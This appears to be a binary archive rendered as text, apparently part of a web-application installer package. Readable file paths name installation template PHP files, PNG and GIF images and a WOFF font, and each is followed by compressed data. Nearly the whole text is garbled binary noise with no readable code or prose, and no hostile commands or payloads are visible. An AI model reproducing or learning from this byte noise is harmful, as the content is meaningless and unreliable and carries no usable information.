�uMjH�����[B,����/gWd΋��7��V�Fk:i����� U��b��<���|�z���i���>i#=plgD�?��L����#�f���J�jE��Lb6-��GWl�}��?�0*�3u�ME���W�F�E��5�W%
�d=*%M�H��,Ѝ�J^�=j�&S��E��p+(��J��L�('�)�������M(#ۧ�*�I𮩕&�f)['W���uo��~:�˜�K�G�<��P"�Y2���d��E)��w^J�ߧ�*ѫu�#�JPF<'installation/template/flat/php/head.php��
���V�N�0}n��Uj�A�e�!4�Ф��u���q�ؙ�E��u����mla�^�����s|�G'y�{����0��x;p� hnj#3\
С⹁X*�p6ρ�0ᷨ!T�F0.`0C38�"�+C�J��n�6�.� &�Z(�B�Ib�l�����^�����5�2
���Z�r�J
A�Ǖ�J���(�忸�(P�>��Ԁ��y�J[_��,�d@���"�����2�<??tzq�=���A�1�M�N�f�jP��a�2wr���m��)�!��C�i�n)4��c��!��,�^A
���[T0E�����	#�E	���s��q�9��w�hq��S�����Z�i!�
��9�.�)r<�w|�3Bߏ|�*�������-菄����M-�R��j��wL�-sUG��f��>���_稊ݩ^��ϘȠF�[f\4A���7�e�X7�)�G�h�O�j�9�25<ol2b�&2�����/�ѫr> Z
��ڗc屍�H�����R(�AaJOO�.�$o$j�H,��P��l8���lܔb�]�\F�N��Ϗ�v�g����B8���z��K����t�'�r1���)�p�DCs����b���l������|�C�+ƵO�:��/q�_3�7I15k���P�����~����o���D�?$���a�"7,���JPF@+installation/template/flat/php/messages.php���u�M��0��WL�H@�U��|��m�v�j{���1C�B�e�T�� Pr('���;�ΰ��\��d�`�~�����V:��)ÝT%Xa�v�).N�nD./hA�S8\!9!8<݈2�n��BQ���{MY~D��;����c��C
D8xx�揰�"W���>RCW���
ea��xui�UH����w���
/�Ku��ޒ4���8�T�C�g��������l�O��@*1����"��'�|4F�N���ˢ2�O��nJY���;�VB��-�w�,3Ui�&��>�h6cw�X�ǂFe���gҡi[XC�hM3h�X�=���R��(��s�~���O����d�<kw
z��V��B�=����x���n���t=�ͦ���nRѪ�i���M<�F�?��-�8Ew��v61�3/�QL}xm��ܿ������}�x(ޕ�ī�Hc��ԗC�Ռl�@�#JfK6��_JPFJ5installation/template/flat/image/chosen-sprite@2x.png�������PNG


IHDRhJ�q��IDATh�횿o�@�#�P	� �����?!d�ԅ�sft⇿'R�J0�#[���Ɉ��+��������P����{R�W%����ދ��1�e,�J4�h��'�Y�2�Ny�H%?��/�4��
L�j�[��	-�85H�q���H�����qȱ�s���6�C+�%0��`QW�X����O�5��
�]:ڿ��h���Ig���7�oi����
1n� ���f���Hn�'
�!-��
hjh؝l�n��zH���A��oj��Q�FEæ�����hH
'��wԲt�c �8�H۪�/�4��
L�j��`$�8�� q�iD�S %N��9 �J�1Sp̶�;X�k}\kN[�[�t���������k�%��s�F<Uk��}dvǢ�W���b��?�O/n&�
�0p)/��Pyf'��~�|��|+a�C�˒�bKq��SB>��p��3�K�X��R~����C�gY�Ƭ��,�9���A%w;8Q�h�H�,�]n�p��Y��>�$�c
��)�ƒ�K�hw~��S�ʼn�q��P�*�w�Ҷ�����X�y{$���u�%�&�Z����'������(�8�؜��֜�b��ҍ၊�5R6�emP�0�<�F�-F��
i��#�	��z�H�|��Y��JZ�\N��IEND�B`�JPFE0installation/template/flat/image/modal-close.png)�����s���b``��p	�� �$W�)WR�%�%��i%�E��)�I�
����A��)��'Sm��2C"J"|}���s�Aj�*r@�ƾ� 19;�D!)5=3�V��J
�)�Jᦾ�Ω�UE��U~!�U�ɖ)J�v
6V@rSK*rs�*l���Z� a}%���l[%��"|��RL��u�

���ML��u���
��L��������\
�����Y��A��l�2JJ
�����ʍ���
---Af�U�W�$V��+�LpI-N.�,(���S���KKl��`^�-��W
(`��W$�������T����W]RY���Z�_Z���4e$��k)��ʿ()�9.�ɥ��y%�.�J@���+SccScSccg7W#CCK'#3'#'C#'3���8��X8���Y��[XZ�X9������z��$�%���f�����k�\��X�_���K�%���
�f
�y)��Ś�聺4�(�,5ŭ(?W�V�X췰$�o��r�L�}���@��x�I��"`�X�z� 0[��tq��5%0�됁H����_��T�_�7/��l6�\��_�$��n��̎{��6���3���Z�!u�|�U‘�}�(x����x��X��Y-rN%|��:q��i�\{\x��Co��nnճ��K�<�wl���mZ�dn���ّ��\�
�W-5�ǂ)���s��$~�e��������σ���f����Z�
*<]�\�9%4JPFG2installation/template/flat/image/loading_small.gifP����[TS׺𕕕��d��"+�KB�T(b������`DmB��h��^�H�0"���t�-*�KDD�����m��<�j����1��rv��|�cΗ���}_f�.eI�?����-Z��/�|��w���/�>}�믿���O���N����zӦM�w�ޏ?�x��͍7&''���|��7�?>q���ӧ��绻�333_~��˗/���ܿ��񔗗�9s���5===??��?޾}������<�Ry�ܹ�����I�F���j0��������
� v��}���~�N���322�z��+W�=z��^���/O�:u�ڵ���[�n�ܹ������w߾}---���K�,�p�B{{��c������뇇�<x�k�.���'����ݾ}�����7�,))�q����ܳg�~�ᇇ�F�����>z�	��[��B26W�m��m��R%*[_��fcY��zë�3��~�9#_k\�A��
2��V��G��f�j�;����Ʀ�f��[�b�ŔX��kơIh�F��h�V<|6��0S�;p�	�D���47p����GX<��I�d=*�S���ۘ8�S�߸�Ch�mT3�P�wR#!�r�ݴc�,@eɌ�;��a~U�Z-�\X�W��^9�����9�z��	�{T�e"�P·�\�:��'�}��=!
��~h�����ŒpꯆI����=,F�tm���T�J�Q&��rv$l3�G!���K�r�h��(��0J^"O�Ș"i�ub�4�L���$U�n���ڠ�g@�Eڢb6��I�lZ���m�{�r��&���Eph�n=�s��	�(�x�V�]�S"���٤�
��eqG�hb��������<�k�D���g���#�_,���������ΖJsX�;��źѱ��~�
�z���*�AB��w��8a��R�x�Fw��� G���J�'���Vo�
*C�+�
oriF��lr'��G��]!_zRƢ|�)E6����u#����im+�L
�t޽�4B�e�^�R��4��ֲ=vEJ⇀�R�`�X7t$ F4�� ��z״��|�ԩ�f�4��o�ҝ
6����=��F�a������r��{ל<`\�3SQ�fe=|��*���uX�2�V��i�z�A'G�R���H����C��h��@�9ꍑS����2'M�(,'D�Q2Ŏ�N���!�֏r��y@��x"����f�?��i~�_���He�_X���4��j}6��`�I�9]N׮%X�{�`f.#I�{܂&Q��`9�"S������R��|
/%�	6���t%.[3�g�bJ#�C�	�8I*J[ι./�H��t���:�������G_�al<����Q����#o��4�F�k�b
�i`JG�i�筡b��z
�ةKT���3��z�-�3����xd��f���+��j��>'[���T
nP�&��Ǖv��&��Ƭ���Ic���h\q
P�6���l.'v�j;յ��.����c�`\mU�����Y:���������R�%��Tpo����%I�L�b�����%y�P96P_� ���#�Xk,�_���1�Z-�{�%Lq���@#{�Ī���D
�-�E.��~��L8#SfOQ�x�o�yVb�]�U"�C��o$av��'�Th�r��y��T�ʅ<�{a
*���`��BL����cĵl��N� �1x�š�,��
I���u�������~	g��F-c0� ���'T&
b!���::�@�dO�ԧ�
�+���S
�V��=��߸���cm�x��u_��[�e�pt����2���kN"n���+��������X�By@<���t%|�҂~I^�L�}�Ʌ��]�R�����xR=�
��"_�Gҭ���HdC}�7��h�p���N��m�^��zcgM����:�lJ�����YpL/jڠkPm-�Pe��%�Q>�����,���h&H3�y�ؚ@P�1�qeY-vZKf�)���P�aΉ���`�ɺ�+�$8�a���7Y��OI�/*�'4���`)
����St
La�¶��!��pz(v\�D�%��03��q�		&AׂT5D�NAq�B�_�*g�p$�4��Q��H:���-��/[x[�h��\�B�n��-a����X�i��Y�2r�$u��]�a�����0�d��p��Vw�9`�o�v�.c���y�
��'ͫbw�}GaM|��?�qʏ�Ud�L��D��@ݗϗ�R�8TV�fl;�i�q
7�:�7�&�#�4�%�f�I���)�"k��9��;M"�r
6�fH��@��u�ApI�Wo��'V�)}ob	f��
�gb\@u� =^�>�&�l�[6�c[d��#i���UI�����<;t�z��3#{������	��A�}ї��!z�i�w�h�~e~��Qh!S�O���?�¶�?p)�k�Y��v���+���^�KS-!w�Y�hLR��m�17����-��A�`n��Gu�*bԾ*By8C9�"������6���}���B�~@ �H�rp�/b���j="��Oc+��.JP%x�x�D
��|j�V7Q�͛}��R7>��ok�䈑�_�0�v��Y$H�ڹV4�#���Ŝ�=��*�݄Ѓ�U�Q��1T��Mr]�=ŕ�>
��m�C
L~ĕ�-R���,^��sCo��H����Aq}��u�*mP�m<��3Be#���Я ��tۜ@��Mċ���/�+��u��ptȬw{�W�bt�^m��בq��L3��xW�F�U��Rv���ڭ���rGxaRq��r�����ѳU{���� >R���z�vL^�##2�����2;M���2�UF��{�"�e�]�_7� .����X)�t�iBx�!Rv�ߜ�EH�|.���/�A�:}����c]�U%J�
�R�/�U�u�O ]&�p�"���D��8N�u�G��ׁ�0▓�U0�C�r���@I/�(�l�XQ�1QT�'\X�V���|��=@rY�6MuD���ʇ�6�+����Ƞ�bN��=;*Vv�%'�̳-=�3H�Cv�3��
�;�nc�hl�HK��-�Ufx��d�Iۼ�ҳvz��~��m{\���F�0٬	�M
a8����L����I\,�V���'�<x���������!ObE��#'���>1q詝5��r����pLt�K�#�9>`a�\e��v�#@�8j��WV���J���n���%�C]'��u<ĤRA�Q&��_'+�Vm(d+�T�>��:��dQ
שׁ��\ПM����
����tA�F�@�ǻ5Rq8�΢��ww��-xA��d^(H'�r�`���W*i@��`�A�;Y˗j�9a
�}��ﺐv�ы��������Ek��Z�S�B"���/f�DBDX��I43����KW�
L|�s��#�V�H�,���<=<���CR~m�2�Xe���#��L�L[-Ta�l>��aNb݅2oU��`�?�u�%kszz�{z��A	��I+�ܘ��)�o�(��2�z_�X�-�_�[_��&{`��eր�`�	.�
7�U����׀^�e��"ړ�����V���#�DZ׸�2Q��xiȗ��@R~����H��m�o��ʼn2筌S=��J&uE�)V��f��Ǯ}�g��@�~MMп	�I�fY������.�2���؇�j�f
�^�$�Z�n˷�@_��#�JPFG2installation/template/flat/image/chosen-sprite.png���PNG


IHDR4%��^�IDATH�헱kSQƯ
.-����=�$�b�o�$((T�Hw��*����"nupA�@ P�Apq�J$p!P��M1��.�����;���=��\D�.Y�n0��@}�DMF���>Fb��1���
�c�	!6�1r��b�%G���I��J(v��fFy�O����H4B c�1�}��^��4��5Fo��G�X�ٝv�U�n�(�R�s�p����v��*��8sP���*�c�O�TQWŬ���j1Q�H}����T��+���}��֕d�/���L�Lc�F�6�˔�7��,9ʼ1IkJ�(�dJj��Lc�^��z*"Hu�j)�׿���,?<��._1�a�������°x�	/b�}�T!�����i?O�u�	oc\������eN��c:�99�\@�s� uZ���q��|yp�k�a�����6��B|���1��G����gq�u����p�+���[�*y���IEND�B`�JPF9$installation/template/flat/error.phpm�
���VmO9�|���@��U�T؄�6 T�V�wҩ�����58��vrU�������@�C�b�{晗찮�^��e^�����b�\!X�Z�
sB+����B��fR3y%�h!7�r���q���P|�s��&��5IY��P
{���F�����_�����Λxog�\��ҒYx��;����ZO���.l�;���QY�z���B�$|��H�p��w��z��:��z��on\���6����u��zY���C�=��N�`�:x�Z�g�:&e����"�̇�^������.�>\�� K�����؏�g�6.�\+������s������L�6g���N�BI�n(��Y7�h+D�r��;ͭ��2X�����I�����"�x�� rfn~2��p�0[w@�ٔ5�X��B]�t�j��mD!i���`&׳�q>�R�΅u���>���	ܹf��6�{jl�W݂o����m����9ot�����upw�_�ఁ'귂��V�����[����,m��4�CN�e�QT
��lg�gq�Ep6�:ȸ�.��!�<�Bڢ�ǃ^�hV����Y�������6P�}Z\H�m��	�dž�P%x;K�C,�K]����Z�<_4q������c�rr��u�9�x*X�����>O�Z|��K_m?u��e�䣧��l�2���8�c*4�`�<]\ֿ*X#�R��GW�It�G����V�sT�T{�t��K,��۫W	ů}�e).�T��=>"��d)����\{��i����{r�lA��@C�gi��x�W4F��1Z�[ۡτ�К���iv~�
ѓ<���Q1q���x�*߃���(Ե�p�P�	����o�Bqf���9��͍�G:m8�#)!X?E��"O��Iכk:��pbiV(܌��k��#.&� ��|]P�r��O��l��T��)�v�iY�ė�h悏�wC��o�L͛Y`)���@�'�7dN.O��nM��dy��P{�N3)J�߸i]M�ɶ�jK��Q��.��zF���i�I�n����&/��s�����G6hsj)��e�Aa����r�eM
�,鶖 ��O��w���a�JPFQ<installation/template/flat/fonts/akeeba/Akeeba-Products.woffZ8l8��e{cp&Lml۶m���v�ضmll۶mnlml'w�n�?w��t�tO�T�̏vW���׸l�`��J��STad�'�A��՗L<Ll��������������O�b��ʏ
�ݶ032b��7��8�\�,����q� �*}��u�g�������_gco�o�?��?�k��y������0�����?[�?��@@ ы���.��_�V��LTC�mbhjd���?�?�<�X@(��`2>244464�À,�`�a�aOj
maaC��@e]B��Ŀ=
��HR��X>�D3c�����̚,b�h�)_?���{�	P�?��?�?�?�_� ��L�ц�1rT�u7;�r F¾������������¤ƨJ1}=QYI
����?���[�I�QP��@W���j���ɰ�W��VV����<��ɘ��jbm▪�vF�W�%C���2���J�?@�k���6�7D�����!��#��e�T
��u�磧m�溶��৪N;;m���̾����ř���3#k`���ܡ���}f����hL��~]w�
���]�B�ޏt����@�Kb�=u5K/ыK�9a(;n�U�X������������	P�E��k�khC
&*-�
��	��H�u�:
z�+	�k�M�9�@��y���z8xQ��Ԝ!k�v	W�2��Ⱦ��O�u�v�T�m�c��hxN��jq�fJ��^MY@�"�����
�W�i:��k������\u��*��
���J���&B'��s=�_LN��0�i���=�B�o�ļ6�N�2��.����#��|��M�u�M��\Qc����{yA��g��u$��i��dm�`�t�=���o��ɬ��#7kp���1Z�}TXщ:m�E����R�1+	�	b����ϭh~#�F�L����-<x	�[��KK���Ж{���H@�1	'c�[�t��@��G	D��
��*�d���m�hB�}�o����u�W�g�w��=:��:���;�������j�<��{!�־e��S�o�A��U?$@��=����^����t��M��<��`^�|�\g|�9u�^�4�
)*����O�nW���g#�s��	{I����c��:~maّp�f���:�
���%�?g��!}%!Z��+�S�sc�������`Kpw�S�/���ڐK�4����?3`ql�Gm×b���$���T�P�B���T�/�U1�S
���=p�����o&7%�����,u�����h���~g��V����B�-���;󥳐<{��O�`�J$���9�k�O}][Un�M��ϫ?N\�d)�s���,“	��"Ms��W�����}-����}�e(>�(z}_��K�(3�����.�j�ɯ�%���������x�nb�~D�U���Hx���e��Nx�>�,6L�����UH����>�������c�x�4j���V��sq�ݤ�J췊"��~y�-�*㐓�N�#�<1�JI��7�����C���2��$)��B�%�bYb
�x~�eC�|1��_ߌ;����hi�q9~��3K�č�Y\/�x�T��A=�L���+R
�%�]�����Hv�C���|�����m���.Iȭ�z_�=_�?E��Z��uB���8#�fg��#t�l�Z�۝;@���Y�i�yR��zE�A3��$ib��<So��)���|dPa2D��-�(��/b�A�~�r3�trױQ7�\&md!��F���V���xp���:.�IE������"��x�Og�d4�7�jK��U^g�=�1
n�{�����h���e����� W'`����7=��!�����#��|�O*C�i�Y�C��g�6�]v���=�<<�7��] ��%��EÈmĔ��H���u���G�%�/zn����oo.B�n@8Y�γ���]��-VZ�j��������5�8��u]���t��-�ǐ��6�}���zn`c[.г�1O�%>��'9Ba��FѼ9y��=&���$֏�靖��܍�>U@\f����fn:ve�oX� �a�w����8����VQ��Z.��RD�-0�W����Z(� �s�#lDXbI�?�;����S�]�������[�^G�׮�����w1�O�4�ǘat�@0_{Vã���"͛'�璇K��U?�:����E��E ����˔��p`8ui�q������9�
�[�}n���hc�d�S�V`�:d\X�bO�}��ח�1�k\}�N��xԱ
��	�oK��v�:���:�hY��ް�'7�l���`A��t�jBp�a��&��t6��I���R�����������)�ků�8=����Ve
a����PV�<�Pr�a�k�j|XL� �|x̷at��t��h��lK�X��� �sb�RC��N���wmsI�?f�*N�2h����<;M�@��'�<�s\��e�Rz̽(|FY�=�X�㮳
��mN�8���R�����̙�9�pБ�?B�v���c�3J�
.S�X�(�$ϴ�`�_��zK�Q��Ɇ��<�*���a%ס����=���^5m8@��{�H����d^�@��n��ҭw�Y}C��}�	OL����25R��m�̪��0xaw,��G8.<]��~K�7�G�ǀ�?	�9��0��ye�O⃮�J�iе��N�U���
q_r�����2����K3ǹZ�쉨e:�	�����O�RX��`���<���|>��+����k�����@��W8�p��2�N�ۆ����GT���g�Һ�Z���S��x����e�}&n��yb���?Vw���:xv:u�tJs�p��`t�tlSs��H_�c�,�ɗD'/:�\��'���O���H��ә]�
=Vx%d=Tr�W���.g7j
�[�N�Hma��ʫ\�O���bۼ{fٲ��*�7`�b1��:��1�=l���S�j�����mV�J�d�����a���i��u��A�|��hE�3�z�'�X��
����ߓ=g;�8� ���W�=�s
�rk^��K\�'+Ղ����׾�"��!�hb�6"[W
i3��/?�c��<ݳ�>dw�YX3�o�
��m�&���t�G=��Qg�U�����j0G2K�Ԑ_֔�n���tڞ�="O<��D\�	����%-澙Atgk��$ZA�ى�iީUu�U���Ar�HL��Z�m}Q$��Z7��h38
�"�{�h#iZ�/$�L��7c~8��% �w�m�����jkb����;$�e�1]s�﹉Y��|���0F��H�mo��=Dr�qva�L�@�������~ը���õ������m�T�굴�a�!e��M�s�a�����&}��m�l�E�_�q�����lJ�
�ǽ݂9E��%;������n�s��(���D���G�X�7�Qj1�A�&�����u@\��e�bN�ҦqY��~{P�@�H8���#�y6#�/�b����SC���t+�,�����U@��s`n��$��
m5���oK7�Ϙ?Q�K���!)��x� ��\q� :�.�N�Z����9�D�c��+,B������*�'��S��u��o�
�~f�G�쏊h�i+�3���"�='�C����A�ya��-!}�C��"�3�cS�#B	��V2􋤦����$�E�d#kS��$O�=nZSZ�Y�WQ�b*��y:�O�^���/*�*	X�X�˕L?DT�Gm~��K��Ҏ���G;'��ᾤ���b��5�&���a�Y/�I���옞w������ �3HcE��{oM~>��t��G��5��'N�b�F��I�3⿡E�U	W�Jz�HR��}����S��o9^�_�S%2܂k��Z-�e�ύ]E�f��R&W�f`������No��ff���f͜υ�.����4�e�`Zre�՘�
TPx�Q�Ŵ��P��t���$��0#.
J
f�25�}�r���&�J��8�Ǚ�
���98�?@�����ڣzI�0|oѥܟ��5���ȫAO�j�9���a$l�GA߹�n�!�D�HQ�Re��.hh‰�$f\GH�yT�Q���Ǩ�҂(��!S1�݈J��G������OD�S�v��+Bń�QUN��1oŔg�#G��I�,��s���@B�
~�^L��ݮ������I+z��X�]Ëa0RT��{4��FV�U��z���Ui����_ߝ5���B��E躈��q]���Bj�- u�x�O����!�
�gDh�����#�8�<%hX��F���
��#"
����d�^�N�D�G�T�ґ�.��ul���L~|d;B���eS|ٌф9��b�bh�_���h�F֓§�à"}�1�Ɖ��u�'�G�d	����Cj���6ĉQ�Gf�?�E#$�Ŕ�j��F#R��;n"���Q�`4$��Xq�ޥ�}n����Q�6��.;5}�u~_Naj�v(͖��%�/>���w��q�g�Z���Tx�#D�8i��!�;y�RSr����r�
�2G|�*T�B#k �Z���&F&E�n�NoA���鸬�-��G�K�A쎀��/�с����=;��5#:��c���U�8�{��)H�����?3�"���g�\xT;�x�[o*�N�7m+K�ў$pR�����Ub�X�\��tq�NHD�'\�(5�*=�;.=esj�Ş�-bP�� [�{��\�_w �{w#�0z��Z��;s���cpc�e\S�R��Yy�c�-5�z활��ܭ	�프����j{n�X>�9(4�-ŴV�.�.�L��[&�鬺R&�n)�d	�v�"����T�{�v�銩���y-�B��!�xj�*E4��R���`�D�0�*����#�-A΀;�Z�R� �3fXh.����-�⹿���\��|���s���2��p�E�� \.�Bwr�G���,��>kаm�}�:����_5�������`(x�'�&�l/m��)�n���D���p�:;1:z~�X�Fj��\�C�7��`N.�Bƙ�$�և��C�>�9��W�2a�D��x��d� �3�A>Vc��fC������*����FÒ�1�2���䜮,�+�v�B�8l��
�QƳq�#��<N����#�d�a���i9�Y)��!�G����U��I���-�$���o,��ٙ��8M���}�^�՝&*䃌N�͉�d�=޶�p��\��6�u����%p�+���YF��^�S��O�8TE�î�Ǐl؅K�xM��%YE�5d��z�F�c�K��”��>�K>=�	d��f�>Bt�q�X��VƂ
�2񁰦��&.PB����v�uy1d�՜���p���o��Q�V$z�e�,���JWյeOY��i��EC��������|J��N>9�����u�����}���P��i���T�.���N����N)����Vϵ-=����4�1-�	���Z���Lw��N�<$g{����L�j
$m�����Ƅ����،��tM*JE"_��?T�;�X���Ϫ�6���ͪrR���}o�)��y�B���靏�15ə�S�oc��@��ь"+s;�`��H+!�si�5�����O���ʇ�qw�eC��C����Y�[)���Y��u����H�
s`�����P����K!A�cg|
���R0,�����J�T|��Yv[[����J���.���;����8I{��w</o7����D�/P�תe��&=.n��N�X�J3q�ݣn3��#�GI�$�H9���"�8ճ�|���e��&���t`����qͨ�Dp�p�/���$��&���`�|>���kw�9�l�ctȉ�,Z%��"�Gt2��,w$�( UJ_j����}l8�B]�[��A�z~-�h��k�Q�2Hu͙�����27��;/e4�jIЯ�� 
L����QO�x<���DOݨu��2[QCT��wXemF�)-���̧����?��o�&�B*��������Zoz�К�3����l��&���7��*sݡSM�2R��D�XH2=�S��P
��Ca��T��[u+��N;f{Mw88j�H.�M�-�-�t��و���'�Y���g5e=jIu�Ɏ��B��P%5���QIH9�+�����%�u�y�z�_�+b���*�Ұ�E�Xv�k4����l҇����w�l�4�H*�}pֳ�:�8M���c,3�G4�X��iXCG�[/��6&5��g&�>(�^�Y�΁fbjw7��j��3��"2�z'��h���W�cFG�#[#\C͵�J�ըm[F5��m�#�LEӼ��x�r�vKIa�|�I����qO���W+�ί�a�ұ���cБc��:�9V���I�%�2�E>�6�ko_4�V�.[���*)���*'��c��s?�`��J�DݙIΪ!��*��1Tdf2F1��Xn��OX�2f�(��S����6j�)�X=4%h���ܫi��K���
pL������t��g�70+7͕j�[v�@�ԕ^��+�u��y�f�'��N,�����"�V��
�A=���1S`��&��4�� "b����ƴ�����G�i�v!WD�� [�f[r�A��݁�����"�_5L1ҁ���� ��u��q\d�B2��+7+����.��	Xdj؟�ד�"��SF�u���]<�榒3%�A��;
��g'�Z�a�4j1OG��GQ��$�l��y�@����
�w,`}L�����]�\C����N�j�P�`�H��֪)��j5�rK�q35c�\C�`>tȔ�æd
񹆆Sp�
�<���j�}��x��<z�E�B">i�!ڐc�U�L������%��,����&��/��g?�F��S� w`���j�QF�aC�!i��ī[�HP�wYV���{�EZ:v�R����ux
]���2	��xR �`Dv� �`��*�$矏L���б9߳�)�"�a���"������{�-3�"�"���M�|�R�x��"����%I`�f�ɵf�}a�J���	A�
a}�!o6N�C��+—�
?��A" �P�!���3jc�N��%��
�K�";�R6iw�C�Y֯qq�U���5m}fX��{t�&.��jh�:��<���Z|��%�4�����z>�q��U=<��Ǩ�|t��"�7ren�]�L8��.wL{��w�d��?��^�rU�\Ρ�^0���m��hk�JND�ESvt����}lN���ۖ�pE��2��Մ�.\���84�q��}sOڛ�8䐀�kf�3;��u�q�^"tr�&��i��`P�,a�|�3�]�wohs�Ff���o̅fZG���fZ�y�z��P����5@Q��;�%܃c�p%¤�c�\/5��k�!bu���Q3I��w��I(��z�R$�)ܟ�`i����BE,��;4��'h�[ؚ��n���:��hڭB�u�E�c��ZG�
���n��P�p`b��큫I!�߂���%����l�O>Q+��Mɽ�ë��ÏF{3�
���2>{K�JT��4����DA�kr�����-+6�i�N���J<"��0�n�q��>>�]�������~M��*��� �y�7TԢ�Ϻ��u����)(P��p���x�W�d��`����<�
��fz�+�k��ד�Χ����5}��dT����ߣR�Y�"u�g;3S<��V7 c
���p���p�����;�::+����b"�V(h`G2��J�O�*���[��0�T���)~r���A�4it��GK�.�#e�qö��(h����UP�G���0�&FU�[C
TBN�, V�U.+���F�A�S
��4�F#}񑭈��o$J�����pU��B6O��nc�y,ѩD���{1.�'w�d��F�L���+&��!`ળ|�I�&�����3rϠ�x�a�f�4����ƪt�j�]��}I��O�"%[����e/���!���g%�;�,^L�uD�m�A
�]m�8<6��*��~gz��z�ƷD��Ì����>ϋ����6��_d?/X�����
�e��
!N�����
ȒN��װW��o�T�6�?������d� ���~�X=���ŘI���3~���ϱ\�%)6r�����Ey�bKUz�^�&�E��~�AW���*��sv�8�C:%���Gϕ��� 7�
��!���b�L��Kґ_7��y��Qy�UYH��`rv�t�.{M(S֓���`�s$d�Ā$�7.���"�y�O���h_����gE���]�8�f3ENb0�juVp�uޣ��(&��~��nd6U�bBY_�l;�(��0���,k}���ܧTy�;�"]@�����;����D}���B�#c-O�����:�(��u���nja�u�EX��H��J�.�=Q�}G�k@qs�k%��Z ���;��鮳Š۪�j�ξ5����֮����4]���*�G�����'X��TZuN�Ҳq�~Kћ��q:����i��a�*n�x��{�C�n���xj[1�.�����!��;�=�?�?�?���=�f:�Kn��!�F�r�߳7�5"R��/��{l%��iD���J���c����2���jS8*���A҉���iQ����wN9��M�Mu2�tɾ�9ux
Wޑݷ97nh{O��j����mx8␖=!���鑍ؗ�ǒ�yBwouNwN�Q<�&��w$��ӊ���� ���Aٝ���?%��q�iぷ����Ne�l֌[�d ���S���6;�G�4�wދY�/�2{�����@��(��_��a�d|�v�u�n�XЂ^|�����̍�_��L�0h�wf�@�G�{+W'��[5��مq��]��
�`-��SP��v���C{�|��#�x���U�r�yS���v��Jï�J���^��0J0�C�g�aߧN�
(������]��g����Ǫ��Т�LZ��䓑H��o�V��N4q�.΄gXEB�ȱ
��9F��~*�*�"���u�^h�č�us�Z6����y�V7�{g�:�[@:c����%N�8�(C^R��l��g�Lb�b���&+�`b�k�jA����-�O��Q��U���Ⱶ�db��a
�yr`��\�u���
e.�5����qA��Yȿe��i)9���a����R�$Ξ"��U��am���2�׈'�C�=P��x��Y6�ٺ�iǝ�|��a�6��u�70(e���FÚZ�*�w^���Zs:}}���43��ׯ5D��q�Z�湳�.a�*�,��1w���f��ZD��Ϛ�=�Tz����w�^�9��97>�DY������2��|�T"���l�qy���f7�9���
qŶO.�Ҋ>���6�h�<.P�^��6���>�HT���+X�>�rX�
�fSZ:L��������}�h[���1K��6C�/g�ZW��'L\��W�m���@�f�-(Eq�!ZA�C�W}�k,;�eb;T����m�~61j-6�c���au��C�V�H��X3�?���پi�ͱ�4p#��a��՚�)�Gxꗩq��D��=�hA7��oj~����?�c������#���$���/�-^Y�j��_��\�}B޻����-w�aj�g�Y�-��&��%�u��W���b��-�O�b�/|AV-y����/�3�m��St��ˍ�P�9_�W��ˏ!�uvPF�:\W�Ԩ����.�=��A5_�F��Εm�5����\v�ۋ^����_@wZn��N�U�9�c���֎�k����̌�*+I�X|g�X
2�F��V�Iū����7��j�B��D$�pW&]HW_W W�N;›�
i��V��D��]�6q��ky{I3VTߟ/
�?�	c�(����EM����v~��1�q�3���s��z��徝)AH�Lm��L�M_ߛ�_pU:�V��<}�V�x�1����'ѓ�h��H�_BJ����=7ao����3I�o�9z��ĕ��sS�3�*�2k�k
�nj��#do��+'8�������)��.z�X�0m�T�t�O\(;'y��=��8���.�UC�
���ǡ���@l�tfH�H%t����Y0�w���rt|Ը�!��^)��1����m�8*�lg����㦮�GL�!^1x|��Uv��I�z~o�JI(�m�Y8�|���~�]���Y�@�5M���}����.��
��j�����j�h�~�&q���(O�*`��s�glg�jg�F����ñ��-`Ɒ��i�KRj
	�Z��9$�Q�M~��i����>���#T��H��	�A��DDp��o!I�c~<��a����#`8BE�BƂHU��a����K(}q� (���<���,�a�œ[G^"ؕ+��S�N�o��*�_��^|��M��Ѕ�GQ�[a��9O���Kp� j��ڔ��k���<����_�t���J�X�įG��ҏ˭�1V[��*��ݖ�y�9="u�Mf��T�Pڋtn�����\>�i��kO���V�=*{+#�-��7�ݹz�2zj#�t]���c�1�1�vuZwJQ7�L���M&��Lo$���bʆb��k3�r�n�Ѧl8Y�NB�HΏr�U�"�Ώ��#����h�Qi�Kk\��#���>��� 
�YB�q�,4��a/q����Y�q͠�.��}���}FN�ƇKN��n�2�o~����_�^�h1�(�O˾|q�,��M�]��TUL��h�%�܁#K����ЊX�+/��m�H��3����KGRe�fۦ�X^Ԫ�p�HXQ����u>r,ɹ]��]����˞�N���������
C�:P�9�{$�_��ɛLùL�#��{Q��y=go�Տd)\�
F�N�
�ߪ~=�5�j�Ia��pP�ڽ�v��ܛ6�X��8��?��tm�΄���4h���2dQ��D���D
���*�Jٕ���^G���p��ǁ!�����]��.2�-N��o~E8�[TS�M�a�@~W�W�t�ȼ��?��Di���ȼ&�r��cS|nC����RP��Q2�F!f$��:B���5�l ы�Jq#� ۭ	�%��0���!�V�;��_J[I�;pI>�:��޼�ֹ?�:B�y�@}����}��v��R���86x�NٽF]�}��B˔U�K*|^�}�`%ʆ��w� ���;�9�86����Y��Q;45��0oN���d�:vɏ�@���=LL2����n���s��]�졥yCT4�e���ͺ	���$!Nj�>tn��ޒ���2�i_׃-"���G�˲�޴�'�7���r��e��8��{�{:ݾ3��Drt�VTz��h�{��~8�� cT�X��1<�xQ
uԑJ�d���jh%
��8Hx8�K�X$T���7Ft�寻�.�%�3d!f�FI58}K����w�һ��}-�.�bO�$
�b_��_UΛt�ys�~zcZ���1�K4�EJ�H
�#hl	�`�:Vb���<���,�:RT��"����kPPWv՗[��Bˤ)a���R�u��@;[*�H�r$8s��y�x�{zl��:�}��j�Ch
6�;>�R]�Cd�$є�]�n���s�X�`}��]=���f=2*U$Ҕ�f$�4�#r��6�bX�s��fF�ˆ��R��'8m��$������uP�dЍ�[ֆiԃ~�� �V%4<0:B�M���ҭ�HcVA��>�&�L5���pcq���03n�@��p�K�Do;dz���	� ���J��o;������=�ܿ#W+��W��P�z�.�x
jh�F�9[���0�EW�,���Z
-��o�R��ݖh#&bC�d�mKRg�f�g�F�>�E��1��r|�������>)����uZ��K�����ɪ`'�uw/ݾM��4�j�bY4xj'>�<�C~������+�$1bʖ��
�P��2o�D/�3Wo}�����e'qA�?CAt�ȭ=��o�
�u��|����Vб��"��5s[D�ۙ/�H�;��$�.S"�~��)H1S��
